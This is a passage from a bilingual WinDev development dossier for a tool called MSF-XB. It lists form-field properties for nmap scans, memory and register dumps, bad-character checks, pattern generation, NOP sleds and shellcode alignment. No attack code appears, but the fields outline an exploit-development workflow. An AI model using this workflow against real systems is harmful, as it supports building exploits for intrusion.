Groupe GR_BANNIEREOrdre navigation 35Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 7Retrait gauche 2Position X interne 106Largeur interne 692

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical AutomatiqueAvec focus Oui

Page 514: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 519

Historique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage HauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_BANNIERE_NMAP

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Entête nmapGB: nmap banner

Groupe GR_BANNIEREOrdre navigation 34Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 8Retrait gauche 2Position X interne 348Largeur interne 450

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique Non

Page 515: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 520

Verifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_BadcharsDump

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Résultat (ESP / Follow in Dump) :GB: Result (ESP / Follow in Dump) :

Ordre navigation 72Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 22Retrait gauche 2Position X interne 219Largeur interne 692

Bulle d'aide FR: Coller ici le dump mémoire depuis ESPGB: Paste here the memory dump from ESP

Numéro aide 0

Opacité 100

Page 516: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 521

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical OuiAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : SAI_CLSID

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: CLSIDGroupe GR_HTTPOrdre navigation 92Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 8Retrait gauche 2Position X interne 449

Page 517: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 522

Largeur interne 241

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : SAI_Commande

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &CommandeGB: &Command

Ordre navigation 61Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Page 518: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 523

Cadrage horz. GaucheAltitude 5Retrait gauche 2Position X interne 158Largeur interne 763

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 519: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 524

Champ de saisie : ONG_Onglet1.SAI_Commande_Nmap

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Commande nmapGB: nmap command

Ordre navigation 33Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 37Retrait gauche 2Position X interne 106Largeur interne 171

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 520: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 525

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_DLL

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: DLLOrdre navigation 37Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 2Retrait gauche 2Position X interne 831Largeur interne 176

Bulle d'aide FR: Chemin de la DLL à chargerGB: Path of the DLL to load

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies Non

Page 521: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 526

Valeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_DumpReg

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Dump mémoire :GB: Memory dump :

Ordre navigation 77Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 4Retrait gauche 2Position X interne 205Largeur interne 562

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode Non

Page 522: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 527

Asc. horizontal NonAsc. vertical OuiAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_NICK

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Votre nomGB: Your name

Ordre navigation 97Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 2Retrait gauche 2Position X interne 791Largeur interne 122

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0

Page 523: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 528

Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_OPCODE_LIST_PARAMETRES

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: ParamètresGB: Parameters

Ordre navigation 17Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 22Retrait gauche 2Position X interne 93Largeur interne 589

Numéro aide 0

Opacité 100

Page 524: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 529

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_Options

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &OptionsOrdre navigation 66Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 3Retrait gauche 2Position X interne 293Largeur interne 152

Page 525: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 530

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_PARAM_NAME

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: ParamOrdre navigation 104Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 38Retrait gauche 2

Page 526: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 531

Position X interne 264Largeur interne 133

Bulle d'aide FR: Nom du paramètreGB: Parameter's name

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 527: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 532

Champ de saisie : ONG_Onglet1.SAI_PARAM_VALEUR

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: ValeurGB: Value

Ordre navigation 105Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 39Retrait gauche 2Position X interne 448Largeur interne 468

Bulle d'aide FR: Valeur du paramètreGB: Parameter's value

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante NonBarre d'outils RTF Jamais

Page 528: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 533

Gestion Euro Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_PATTERN_CAR

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 46Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 12Retrait gauche 2Position X interne 91Largeur interne 45

Bulle d'aide FR: Caractère pour génération de la chaîne patternGB: Character for the pattern

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus Oui

Page 529: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 534

Historique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_PATTERN_TAILLE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: TailleGB: Length

Ordre navigation 43Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 14Retrait gauche 2Position X interne 121Largeur interne 51

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤+999 999 999Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe Non

Page 530: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 535

Unicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_PID

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: PIDGroupe GR_INFO_PROCESSOrdre navigation 9Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 29Retrait gauche 2Position X interne 572Largeur interne 44

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0

Page 531: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 536

Masque saisie FR,GB: ¤+99 999 999Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_PRE_PATTERN

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: PréfixeGB: Prepend

Ordre navigation 73Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 23Retrait gauche 2Position X interne 264Largeur interne 649

Page 532: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 537

Bulle d'aide FR: Ajouté avant la patternGB: Added before the pattern

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_PROCESSUS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: ProcessusGB: Process

Ordre navigation 4Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Page 533: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 538

Cadrage horz. GaucheAltitude 28Retrait gauche 2Position X interne 93Largeur interne 342

Bulle d'aide FR: Chemin de l'exécutableGB: Executable's path

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 534: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 539

Champ de saisie : ONG_Onglet1.SAI_PROCESSUS_SOCIETE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: EditeurGB: Editor

Groupe GR_INFO_PROCESSOrdre navigation 11Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 32Retrait gauche 2Position X interne 808Largeur interne 196

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Page 535: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 540

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_PROCESSUS_VERSION

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: VersionGroupe GR_INFO_PROCESSOrdre navigation 10Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 31Retrait gauche 2Position X interne 667Largeur interne 90

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies Non

Page 536: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 541

Valeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_ParamPayload

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: ParamètresGB: Parameters

Ordre navigation 87Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 9Retrait gauche 2Position X interne 644Largeur interne 360

Bulle d'aide FR,GB: var=val (NopSledSize, MaxSize, ...)Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe Non

Page 537: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 542

Unicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : SAI_ProgID

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: ProgIDGroupe GR_HTTPOrdre navigation 93Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 9Retrait gauche 2Position X interne 745Largeur interne 265

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0

Page 538: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 543

Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_REGISTRES

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Etat des registres :GB: Registers' state :

Ordre navigation 71Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 1Retrait gauche 2Position X interne 205Largeur interne 562

Page 539: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 544

Bulle d'aide FR: Coller ici l'état des registresGB: Paste here the registers' state

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical OuiAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SAI_SPACE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: AlignementGB: Alignment

Groupe GR_SPACEOrdre navigation 55Curseur survol 0Synchro Infos Partagées Non

Page 540: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 545

Touche TAB Oui

Cadrage horz. GaucheAltitude 5Retrait gauche 2Position X interne 261Largeur interne 39

Bulle d'aide FR: Alignement ('espace disponible pour le shellcode')GB: Alignment ('available space for the shellcode')

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤+999 999 999Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 541: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 546

Champ de saisie : ONG_Onglet1.SAI_SizeDump

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: TailleGB: Size

Ordre navigation 80Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 7Retrait gauche 2Position X interne 61Largeur interne 54

Bulle d'aide FR: Taille du dumpGB: Size to dump

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: ¤999 999 999 999 999Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante OuiBarre d'outils RTF Jamais

Page 542: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 547

Gestion Euro Non

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Superchamp : ONG_Onglet1.SCFindReplaceTXT

Note pour le dossier

FR,GB: FR,GB: This supercontrol enables search and/or replacement of a word or expression in an Edit Control.

Searches use “ Position() ” with two new options: NoCase and FullWord. Replacement of all the words in a text uses “ Replace() ” which accepts both NoCase and FullWord.

Ordre navigation 103

Altitude 32Largeur externe 699Hauteur externe 324

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 543: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 548

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB: FR,GB: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 107

Altitude 2Largeur externe 128Hauteur externe 18

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : ONG_Onglet1.SCSystème

Note pour le dossier

FR,GB: FR: Ce superchamp permet de connaître le nom du système d'exploitation sur le poste en cours.

Il est composé d'un champ combo contenant différents noms de système d'exploitation. Il permet de rechercher le système d'exploitation du poste en cours (connu grâce à la fonction SysVersionWindows()) et de le sélectionner par programmation dans la combo.

GB: This supercontrol returns the name of the operating system installed on the current computer. It is made of a combo box containing the different operating system names. It is used to search for the operating system installed on the current computer (with SysWindowVersion()) and to select it by programming in the combo box.

Ordre navigation 21

Altitude 17Largeur externe 251

Page 544: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 549

Hauteur externe 21

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

